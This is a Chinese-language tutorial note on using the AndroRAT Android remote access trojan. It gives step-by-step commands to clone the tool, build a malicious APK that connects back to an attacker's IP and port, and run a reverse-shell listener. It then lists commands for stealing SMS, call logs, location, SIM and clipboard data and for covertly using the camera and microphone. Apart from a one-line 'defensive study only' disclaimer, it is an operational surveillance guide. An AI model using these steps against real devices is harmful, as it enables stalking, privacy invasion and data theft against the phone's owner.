【笔记】AndroRAT安卓远控

前言

AndroRAT安卓远控

本文仅用于网络信息防御学习

准备工作

1
apt install zipalign

下载项目

1
2
git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT

下载依赖

1
pip3 install -r requirements.txt

生成APK

<ip>:指定攻击机的IP地址
<port>:指定攻击机的监听端口

1
python3 androRAT.py --build -i <ip> -p <port>

反弹Shell监听

<ip>:指定攻击机的IP地址
<port>:指定攻击机的监听端口

1
python3 androRAT.py --shell -i <ip> -p <port>

反弹Shell的命令

获取Android的Shell

1
Interpreter:/> shell

短信

获取收件箱

1
Interpreter:/> getSMS inbox

发送短信

1
Interpreter:/> getSMS sent

电话

获取通话记录

1
Interpreter:/> getCallLogs

摄像头

查看摄像头列表

1
Interpreter:/> camList

拍摄照片

<camid>:摄像头编号

1
Interpreter:/> takepic <camid>

通过摄像头录制

开始录制
1
Interpreter:/> startVideo <camid>
停止录制
1
Interpreter:/> stopVideo <camid>

麦克风

通过麦克风录制

开始录制
1
Interpreter:/> startAudio <camid>
停止录制
1
Interpreter:/> stopAudio <camid>

信息获取

获取系统信息

1
Interpreter:/> deviceInfo

获取SIM卡信息

1
Interpreter:/> getSimDetails

获取位置

1
Interpreter:/> getLocation

获取IP地址

1
Interpreter:/> getIP

获取MAC地址

1
Interpreter:/> getMACAddress

获取剪贴板

1
Interpreter:/> getClipData

清屏

1
Interpreter:/> clear

退出

1
Interpreter:/> exit

完成

参考文献

哔哩哔哩——黑粉科技HyphenTech